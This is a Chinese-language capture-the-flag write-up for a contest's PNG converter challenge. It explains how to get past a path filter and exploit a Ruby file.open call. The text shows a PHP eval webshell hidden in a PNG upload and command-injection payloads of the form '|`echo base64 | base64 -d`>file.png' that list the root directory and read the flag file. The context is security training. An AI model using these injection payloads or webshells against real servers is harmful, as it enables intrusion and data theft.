当前位置:网站首页>第五空间智能安全⼤赛真题----------PNG图⽚转换器
第五空间智能安全⼤赛真题----------PNG图⽚转换器
2022-07-29 05:19:00 【EdmunDJK】
第五空间智能安全⼤赛真题----------PNG图⽚转换器
解题步骤:
话不多说,看到题目有附件,下他,使用记事本打开发现是网页源代码,老样子,审!
经过代码审计可以看出,文件对 … / 符号进⾏了过滤,所以我们没办法直接进行上传
在convert中可以发现file.open漏洞可以利⽤。
首先我们理解一下这句话的含义上传文件/png 格式,返回base64加密后的文件名
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
让我们随意上传一个.png文件,内容为一句话木马,万一成功了吗?
GIF89a
<?php phpinfo(); @eval($_POST['123']); ?>
点击upload显示上传成功
我们可以看到文件名已经被修改,接下来让我们转换一下文件内容,点击convert
输入上面修改后的文件名,点击submit
不难发现我们的文件内容已经被base64加密过了
那我们直接上传一句话木马的方法就不行啦,但是它既然读取了文件,虽然进行了base64加密,我们也可以直接把我们shell命令放进去再解密就好
但是上面经过代码审计已经过滤了 … / 符号,所以这里我们使用 `` 反引号和 || 管道符来进行我们想要的操作,这里先介绍一下反引号和管道符的作用
反引号:
在反引号之间的命令行中也可以使用shell的特殊字符。Shell为得到反引号中命令的结果,它实际上要去执行反引号中指定的命令。执行时,命令中的特殊字符,如$,”,?等又将具有特殊含义,并且反引号所包含的可以是任何一个合法的Shell命令
$ ls
note readme.txt Notice Unix.dir
$ TestString="`echo $HOME ` ` ls [nN]*`"
$ echo $TestString
/home/yxz note Notice
引用链接:https://blog.csdn.net/weixin_40240670/article/details/86694724
管道符:
一个命令的输出可以通过管道做为另一个命令的输入。
“|”是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推
使用bp抓包,使用刚才上传后文件名,点击sumbit
我们可以看到下面有转换图⽚的包,发包到repeater
所以我们从这里入手,源文件对上传文件转换使用了base64加密,那么我们利用反引号对反引号内shell命令执行,接着使用管道符对转换后文件进行再解密
这里我们使用 ls / 来查看它根目录下文件,对命令进行base64加密,管道符右边添加base64解密指令,将shell命令输出到所上传的图片文件中。
报错,重新审发现管道符少打一个。。。。。。重新send
file=|`echo bHMgLw== | base64 -d`>4755211f043684058811cb50d9ddb4df.png
render中似乎没有什么东西,进入页面看看
看到一串base64加密过的内容,解!使用hackbar
选中 base64 decode,将上面内容进行解密可以看到其根目录,有一个flag_9707文件
既然已经知道flag位置,那么我们直接进行cat指令的输入,老方法,对 cat /flag_9707 进行base64加密,管道符右边添加base64解密指令,将shell命令输出flag内容到所上传的图片文件中
file=|`echo Y2F0IC9mbGFnXzk3MDc= | base64 -d`>4755211f043684058811cb50d9ddb4df.png
点击send没有报错,进入页面查看
对后面内容进行解密即可得出flag
ctfhub{4d99ffb30443051a909a2e0d}
文中多有不足,求大佬轻喷。。。。
边栏推荐
- Common characteristic engineering operations
- 虚拟增强与现实第二篇 (我是一只火鸟)
- paddle. Fluid constant calculation error 'nonetype' object has no attribute 'get_ fetch_ list‘
- On Paradigm
- 公众号不支持markdown格式文件编写怎么办?
- 弹性盒子flex
- Talking about Servlet
- 使用Qss设置窗体样式
- Detailed explanation of exit interrupt
- Merge the same items in the same column in table
猜你喜欢
Question swiping Madness - leetcode's sword finger offer58 - ii Detailed explanation of left rotation string
sql-server 数据表的简单操作
VIM editor use
Sqlmap是什么以及使用方法
uniapp组件之tab选项卡滑动切换
ClickHouse学习(六)语法优化
Qtcreator+cmake compiler settings
[electronic circuit] how to select ADC chip
Summary of knowledge points related to forms and forms
【TypeScript】TypeScript中类型缩小(含类型保护)与类型谓词
随机推荐
常见特征工程操作
AR虚拟增强与现实
·Let's introduce ourselves to the way of programming·
Clickhouse learning (XI) clickhouseapi operation
paddle. Fluid constant calculation error 'nonetype' object has no attribute 'get_ fetch_ list‘
Qt设置背景图片方法
Clickhouse learning (VI) grammar optimization
微信小程序-组件传参,状态管理
Selection options of uniapp components (such as package selection)
解决表单校验提示信息不消失问题以及赋值不生效问题
Selenium实战案例之爬取js加密数据
js简单代码判断打开页面的设备是电脑PC端或手机H5端或微信端
Fvuln-自动化web漏洞检测工具
ClickHouse学习(九)clickhouse整合mysql
uniapp页面标题显示效果
MySQL解压版windows安装
[C language series] - detailed explanation of file operation (Part 1)
表格与表单相关知识点总结
Cmu15-213 shell lab experiment record
Do students in the science class really understand the future career planning?